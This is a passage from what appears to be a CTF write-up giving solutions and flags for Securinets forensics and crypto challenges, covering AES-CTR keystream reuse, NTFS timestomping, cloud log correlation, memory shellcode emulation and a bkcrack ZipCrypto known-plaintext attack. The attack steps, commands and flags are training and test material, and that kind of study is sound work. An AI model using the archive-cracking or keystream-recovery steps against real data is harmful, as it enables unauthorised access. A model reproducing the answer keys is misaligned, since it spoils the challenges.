Show flag
Securinets{0rd3r_th3n_st3g0_th3n_x0r}
Steady Pulse: Revenge
Points: 1000 points · Provided: traffic.pcap
The workstation came back from reimaging clean. A few weeks later the same feeling crept back in: same box, same quiet, same rhythm.
Hint 1
The key is no longer in the first check-in. Compare the POST bodies byte by byte: what do the identical polls tell you?
Hint 2
Same key and same starting counter for every package means a reused CTR keystream. Known plaintext in one package decrypts the others.
The flaw: AES-CTR keystream reuse (many-time pad)
Every Demon package is AES-256-CTR, and the agent resets the counter to the same IV for
every package with a constant session key. So byte i of every package is encrypted with
the same keystream byte: C1 ⊕ C2 = P1 ⊕ P2. Recover the keystream once, decrypt all.
How players notice (the visible tells)
Lining up the POST bodies in hex gives it away:
# len body (first bytes)
0 221 1a2b3c4d 08dbe138 85e882d3 ... registration (cmd 99)
1 12 1a2b3c4d 08dbe1e9 85e882b1 poll
2 38 1a2b3c4d 08dbe1f3 85e882a4 ... output (cmd 20)
3 12 1a2b3c4d 08dbe1e9 85e882b1 poll (identical to #1)
4 111 1a2b3c4d 08dbe18a 85e882a4 ... output (cmd 20)
5 12 1a2b3c4d 08dbe1e9 85e882b1 poll (identical)
6 181 1a2b3c4d 08dbe140 85e882a4 ... output (cmd 20) — flag
7 12 1a2b3c4d 08dbe1e9 85e882b1 poll (identical)
- Revenge framing. Players who solved Steady Pulse look for the key blob in the first
check-in. It's gone (the body is 48 bytes shorter). So: what other mistake was there? - Four byte-identical poll bodies. Repeated plaintext → repeated ciphertext means the
encryption is deterministic: same key + same starting counter every time. - Shared columns. Every body has
08dbe1at bytes 4–6 and85e882at 8–10; only the
size byte differs, and all cmd-20 beacons share85e882a4. Same position, same keystream. - Searching "AES CTR reused IV" / "many-time pad" leads to the method.
Walkthrough
1. Frame each package
AgentID(4) + AES-CTR( Size(4) | CommandID(4) | payload ).
2. Get free keystream from a poll
A poll's plaintext is Size=0 | CommandID=1, so XORing it with the poll ciphertext giveskeystream[0:8].
3. Extend the keystream from the registration beacon
Reconstruct Havoc's public DEMON metadata
(DEMON\x00host=WKS-FIN-07;user=cha9chamboula;domain=SECURINETS;os=Windows 10 Pro 19045;...;
the user and IP are confirmed by the whoami/ipconfig beacons). That yields about 217 bytes
of keystream. Without the full metadata, crib-drag host=, ;user=, Windows,C:\Users\, ---- and .txt across the XOR of two ciphertexts.
4. Decrypt the loot beacon (package 6)
C:\Users\cha9chamboula\Documents\handover.txt
----------------------------------------
vault rotation done. temp creds below:
Securinets{k3ystr34m_r3use_breaks_ctr}
The whole attack needs only the pcap: the key itself is never recovered, only the keystream.
Show flag
Securinets{k3ystr34m_r3use_breaks_ctr}
Timestomped
Points: 1000 points · Provided: timestomp_triage.zip
An internal host was staged for a data theft. Before exfil, the operator tried to hide the staging folder in plain sight: every file in it looks like it has been sitting there for years.
Hint 1
NTFS keeps two sets of timestamps per file. Which set can user-mode tools change?
Hint 2
Compare $SI and $FN creation times, then confirm with the USN journal. Not every $SI < $FN gap is malicious.
What it targets
Detecting timestomping, not recovering deleted data. SetFileTime (the API behind every
timestomp tool) rewrites the $STANDARD_INFORMATION ($SI) timestamps but cannot touch$FILE_NAME ($FN) — the OS owns $FN. So a backdated file betrays itself: $SI ≪ $FN.
The USN journal then gives the ground truth independently.
| Skill | Why it matters |
|---|---|
MFTECmd — $SI vs $FN comparison |
The core anti-forensics tell |
USN $J analysis (MFTECmd -f $J) |
Independent true-time corroboration |
Distinguishing malicious backdating from benign ($SI < $FN) |
Avoids the red herring |
Resident $DATA in the $MFT |
The flag lives inside the tampered record |
Walkthrough
1. $MFT → find the lie
MFTECmd.exe -f "$MFT" --csv . --csvf mft.csv
Sort/scan Created0x10 ($SI) vs Created0x30 ($FN):
| File | $SI Created |
$FN Created |
Verdict |
|---|---|---|---|
| customer_export.csv | 2024-06-14 15:15:00 | 2026-08-27 21:34:30 | $SI backdated 2 years — stomped |
| 7z-x64-installer.exe | 2026-07-10 16:00:00 | 2026-08-27 21:34:30 | $SI < $FN by weeks — benign (extracted installer keeps the archive's stored date) |
| readme.txt / notes.txt | 2026-08-27 … | 2026-08-27 … | normal |
The installer is the red herring: $SI < $FN is normal for files unzipped from an archive.
Only customer_export.csv was backdated by years — that is the tampering.
2. $J (USN journal) → the ground truth
MFTECmd.exe -f "$J" --csv . --csvf usn.csv
customer_export.csv 2026-08-27 21:34:30 FileCreate
customer_export.csv 2026-08-27 21:34:30 DataExtend|FileCreate|Close
The journal — which the operator did not scrub — records the file being created on
2026-08-27, flatly contradicting its $SI claim of 2024. And moments later:
WinTime.cs 2026-08-27 21:34:31 FileCreate <- source of the timestomp tool
WinTime.exe 2026-08-27 21:34:32 FileCreate <- compiled on the host, then run
The operator compiled a small SetFileTime utility on the box and ran it. $MFT shows both
still sitting in C:\Users\bayrem\AppData\Local\Temp\. (Amcache.hve is provided as the
application-inventory hive; the definitive tool evidence here is the $J+$MFT create sequence.)
3. Recover what was staged
customer_export.csv is only 223 bytes, so its $DATA is resident inside its $MFT
record — no disk image needed. Dump the resident data (MFTExplorer, or simply):
strings "$MFT" | grep Securinets
→ Securinets{si_backdated_fn_never_lies}
The flag string self-documents the whole lesson: $SI was backdated, but $FN never lies.
Trick & red herring
- Trick:
$SIcan be forged,$FNcannot — and the USN journal is a second, independent
witness. Detecting anti-forensics rather than recovering data. - Red herring:
7z-x64-installer.exealso has$SI < $FN, which a hasty analyst flags — but
that pattern is normal for extracted archives (margin of weeks, and a plausible build date),
versus the 2-year jump on the real target.
Show flag
Securinets{si_backdated_fn_never_lies}
Trailhead
Points: 1000 points · Provided: cloudtrail.json, entra_signins.json, s3_access.log
There is no laptop to image this time — the victim is an identity. Our tenant flagged something during the night but the analyst on call cleared it as noise. Three logs were exported for review:
Hint 1
Start with the sign-ins: which account logs in from two countries minutes apart?
Hint 2
Pivot on the attacker's IP, not the user name, and convert all three timestamp formats to one basis.
What it targets
Cloud/identity forensics — the "host" is an account, not a machine — and the unglamorous
core skill of correlating one actor across logs that agree on nothing, including how they
write the time.
| Skill | Why it matters outside the CTF |
|---|---|
| Spotting impossible-travel in sign-in logs | The canonical account-takeover signal |
Following a pivot through CloudTrail (jq) |
Standard AWS incident response |
| Reading S3 server access logs | Proving what data actually left |
| Normalising epoch-ms / ISO-8601 / CLF to one basis | The real work in every multi-source timeline |
| Separating one actor from a noisy shared principal | Why "filter by user" isn't enough |
Walkthrough
1. Entra — impossible travel
Group sign-ins by user; find the one account that logged in from two countries:
jq -r '.value | group_by(.userPrincipalName)[]
| select((map(.location.countryOrRegion)|unique|length)>1)
| .[] | "\(.authTimeMs) \(.userPrincipalName) \(.ipAddress) \(.location.city)"' entra_signins.json
mkedri@agilogix.tn appears from Tunis and Amsterdam. The times are epoch-ms:
date -u -d @$((1560478447442/1000)) # 2019-06-14 02:14:07 Tunis (legit)
date -u -d @$((1560479133110/1000)) # 2019-06-14 02:25:33 Amsterdam (attacker, +11 min)
Two continents, eleven minutes apart → account takeover. Attacker IP: 45.83.220.14.
2. CloudTrail — the privilege pivot
Everything from the attacker IP:
jq -r '.Records[] | select(.sourceIPAddress=="45.83.220.14")
| "\(.eventTime) \(.eventName) \(.requestParameters.userName // "-") -> \(.responseElements.accessKey.accessKeyId // "-")"' cloudtrail.json
2019-06-14T02:27:21Z GetCallerIdentity - -
2019-06-14T02:27:58Z CreateAccessKey svc-backup AKIA5JQATTACKER99Z
The attacker (in mkedri's SSO session) minted a new access key for a different IAM
user, svc-backup — a long-lived backdoor onto the backup service account.
3. S3 — the exfiltration
Now the twist: svc-backup is also the legitimate automation principal that does
hundreds of routine backup reads all day, so filtering S3 by principal is useless — every
line says user/svc-backup. Pivot on the attacker IP instead:
grep " 45.83.220.14 " s3_access.log
[14/Jun/2019:02:28:49 +0000] ... REST.GET.BUCKET - (enumerate)
[14/Jun/2019:02:29:01 +0000] ... REST.GET.OBJECT exports/U2VjdXJpbmV0c3t...==
A bucket listing, then a single object GET — moments after the key was created. Decode the
object key:
echo 'U2VjdXJpbmV0c3tjbDB1ZHRyNDFsX3QxbTNsMW4zX3N0MXRjaDNkfQ==' | base64 -d
Securinets{cl0udtr41l_t1m3l1n3_st1tch3d}
4. Stitch the timeline (the deliverable)
Converting all three formats to one basis proves causality:
02:25:33Z Entra sign-in from NL (epoch-ms 1560479133110)
02:27:58Z CloudTrail CreateAccessKey (ISO 8601)
02:29:01Z S3 GET exports/… (CLF)
The red herrings
svc-backupnoise. ~300 CloudTrailAssumeRoleevents and ~400 S3 GETs from the
internal automation host (10.0.42.7) fill the same day. A player who filters by thesvc-backupprincipal drowns. The discriminator is the attacker IP (or the time
window), never the principal.- Decoy base64 object keys. Five legit objects have base64 names too
(nightly-index-Q2,retention-policy-v4, …). A player who greps every base64-looking
key and decodes them gets six candidates and must still reason about which is the exfil.
Only one decodes to a flag; the IP pivot leads to it directly. mkedri's normal Tunis logins all day — the account is a real, active user, so its
presence in the logs isn't itself suspicious. Only the Amsterdam session is.
Alternative paths that legitimately work
- Time-first: find the anomalous window from Entra, convert all three logs to epoch, and
slice the ~02:25–02:30 window. Lands on the same S3 GET. (This is the path the "three
timestamp formats" trick is built to make you earn.) - Key-first: from CloudTrail take
AKIA5JQATTACKER99Z; note S3 logs identify the
requester by ARN not access-key-id, so this alone won't filter S3 — you still need IP or
time. Good lesson in what each log does and doesn't record. - Grep-and-decode every base64 object key (see red herring 2) — works, but noisier.
Show flag
Securinets{cl0udtr41l_t1m3l1n3_st1tch3d}
Two Keys
Points: 1000 points · Provided: RAM image (mem.raw)
EDR flagged a workstation, but by the time anyone looked the process was already gone from disk. All that was captured is a full RAM image. One suspicious process is still resident.
Hint 1
Find the suspicious process, then ask malfind which regions are both writable and executable.
Hint 2
One half comes from emulating shellcode; the other from running the carved .NET binary with the two values it expects.
What it targets
One RAM image, two independent recovery techniques against the same sample:
malfind → shellcode emulation, and PE carving → .NET decompilation → dynamic execution.
| Skill | Where |
|---|---|
| Vol3 process triage | windows.pslist → updater.exe |
malfind + shellcode emulation (scdbg) |
the RWX heap region → partA |
Carving a PE from memory (dumpfiles) |
recover updater.exe |
| .NET decompilation (dnSpy/ILSpy) | read ep/tk/DecPw()/Main |
| Dynamic execution to unlock a secret | run with the two keys → partB |
Walkthrough
1. Find the process
vol -f mem.raw windows.pslist | grep -i updater # -> updater.exe PID 444
2. partA — the heap shellcode → scdbg
vol -f mem.raw windows.malfind --pid 444 --dump
Two RWX regions dump; the small one begins fc e9 a5 00 … (cld; jmp …, then push 0x876F8B31
= the WinExec block-API stub). Emulate it (scdbg is a Windows tool — give it a Windows path):
scdbg.exe /f pid.444.vad.0x2790000-0x2790fff.dmp
-> WinExec("cmd /c echo part1:sh3llc0d3_1n_h34p")
→ partA = sh3llc0d3_1n_h34p. (The other RWX region is .NET/heap noise — the red herring.)
3. partB — carve the PE, decompile, run it
vol -f mem.raw windows.dumpfiles --pid 444 # -> ...ImageSectionObject.updater.exe.img
mv *ImageSectionObject.updater.exe.img updater.exe
Open updater.exe in dnSpy (in a Defender-off sandbox — it carries the shellcode). The class
is self-documenting:
static string ep = "FGsuKGoJIzQ5e2hqaGw="; // encoded password
static string tk = "SESSTOK-8f3a2b9c1d0e"; // token (plaintext)
static string DecPw(){ ... x[i]^0x5A ... } // base64 -> XOR 0x5A
static void Main(string[] a){ ... if (a[0]==DecPw() && a[1]==tk){ print XOR(bl, sha256(a0:a1)) } }
Decode the password and run it with the two keys:
python3 -c "import base64;print(''.join(chr(b^0x5A) for b in base64.b64decode('FGsuKGoJIzQ5e2hqaGw=')))"
-> N1tr0Sync!2026
updater.exe "N1tr0Sync!2026" "SESSTOK-8f3a2b9c1d0e"
-> run_w1th_pw_t0k3n
→ partB = run_w1th_pw_t0k3n.
4. Combine
Securinets{sh3llc0d3_1n_h34p_run_w1th_pw_t0k3n}
Trick & red herrings
- Trick: the two halves need two different skills — a static/emulation path (scdbg) and a
dynamic path (run the carved binary). Neither shortcuts the other. - Shellcode is not a freebie in the exe: it's XOR-encoded (
sc^kk) and only decoded into
the RWX region at runtime —scdbgon the raw exe bytes yields garbage, so partA genuinely comes
from memory (the decoded region) or from reversing the decoder. - Red herring:
malfindreports two RWX regions; the 64 KB one (0x27a0000, begins2b 2b 54 dd)
is .NET/heap, not shellcode.
Show flag
Securinets{sh3llc0d3_1n_h34p_run_w1th_pw_t0k3n}
Zip It
Points: 700 points · Provided: evidence.zip, securinets.jpg
An auditor was sent a vault export inside a password-protected archive. The sender "forgot" the password and the ops team's usual passphrases don't open it.
Hint 1
Check the encryption method with 7z l -slt. Is it AES or legacy ZipCrypto?
Hint 2
You already hold one file that's inside the archive. ZipCrypto falls to a known-plaintext attack.
What it targets
Legacy ZipCrypto is broken against known plaintext. The traditional PKWARE cipher
(everything before WinZip's AES) leaks its internal state if you know any ~12+ contiguous
plaintext bytes of an encrypted entry. Biham & Kocher's attack, implemented in bkcrack,
recovers the three 32-bit internal keys — which then decrypt every other file in the same
archive, no password required.
| Skill | Why it matters outside the CTF |
|---|---|
Telling ZipCrypto from AES-256 (7z l -slt, zipdetails) |
Decides whether an archive is attackable at all |
| Recognising a known-plaintext opportunity | The core insight — you rarely need the password |
Driving bkcrack (-c/-p attack, -U re-lock) |
The standard tool for this exact situation |
| Knowing when brute force is pointless | Stops players burning hours on john/fcrackzip |
The takeaway: "password-protected zip" says nothing about security.
If it's the old format and one member is predictable, the password is irrelevant.
Walkthrough
1. Fail at the obvious thing (correctly)
unzip evidence.zip # prompts for a password
The zip comment offers bait:
Password hint: it's one of the ops team's usual passphrases - try rockyou.
A player who takes that at face value runs fcrackzip -D -p rockyou.txt evidence.zip orjohn — and gets nothing, because the real password is 28 random characters. This is meant
to happen; it teaches that guessing is the wrong tool here.
2. Identify the cipher
7z l -slt evidence.zip | grep -iE "Method|Encrypted|Name"
Name = securinets.jpg
Method = ZipCrypto Store <-- legacy PKWARE, and STORED (uncompressed)
Name = notes.txt
Method = ZipCrypto Deflate:Maximum
ZipCrypto (not AES-256) is the green light. That securinets.jpg is Stored is the second
gift: its encrypted bytes are the raw JPEG, so the known plaintext lines up with zero
deflate in the way.
3. Realise you already hold the plaintext
You are given securinets.jpg, and the story explains why: it's the company's
public logo, the same file that's in the locked archive. So you already hold the exact
plaintext of one encrypted member. That is the whole attack.
4. Run bkcrack
bkcrack -C evidence.zip -c securinets.jpg -p securinets.jpg
[..] Z reduction using 11404 bytes of known plaintext
[..] Attack on 35 Z values at index 80657
Keys: edd5f7a3 ba9605d6 194c46bb
Found a solution. Stopping.
With about 11 KB of stored known plaintext, the attack finishes in seconds on ordinary
hardware.
5. Use the keys to get the flag
The cleanest route — re-lock the archive with a known password, which also handles the
DEFLATE on notes.txt automatically:
bkcrack -C evidence.zip -k edd5f7a3 ba9605d6 194c46bb -U solved.zip newpass
unzip -P newpass solved.zip
cat notes.txt
vault_unseal_key: Securinets{kn0wn_pl41nt3xt_b34ts_brut3_f0rc3}
(Alternative: bkcrack -c notes.txt -k <keys> -d notes.deflate then inflate withpython3 -c "import zlib,sys;sys.stdout.buffer.write(zlib.decompress(open('notes.deflate','rb').read(),-15))".
The -U route is simpler.)
The red herrings
- The zip comment ("try rockyou"). Steers toward a wordlist attack that cannot succeed
because the password is random. It only costs time if you attack the password instead of
the cipher, which is exactly the misconception the challenge corrects. - The password's randomness itself. There is no password shortcut, so the only way in
is through the cipher.
Everything needed to get past both (ZipCrypto plus a provided plaintext) is in the files.
Alternative paths that legitimately work
- Attacking
notes.txtdirectly instead of via-U, then inflating by hand (above). - Using bkcrack's
-pwith an offset if you only know a fragment of the JPEG
(e.g. the fixed SOI + JFIF header bytes) — slower, more key candidates, but valid.
This is the "harder mode" that exists automatically if you ever ship a compressed logo. - Recovering the original password from the keys (
bkcrack -k <keys> -r 12 ?p) — unnecessary
here and slow, but some players do it for completeness.
Further reading: bkcrack and Biham & Kocher,
A Known Plaintext Attack on the PKZIP Stream Cipher (1994).
Show flag
Securinets{kn0wn_pl41nt3xt_b34ts_brut3_f0rc3}
Wave 3 takeaways
- Volatile state can be the only surviving source of keys, decoded payloads, and runtime-only
configuration. - Encryption failures are often lifecycle failures: reused nonces, leaked secrets, weak key
derivation, or predictable inputs can invalidate an otherwise sound cipher. - Cross-source correlation is what turns artifacts into an incident timeline.
- Advanced analysis becomes manageable when every assumption is bounded and testable.
- A convincing flag recovery should explain not only what bytes were decoded, but why those
bytes belong to the relevant process, user, connection, or event.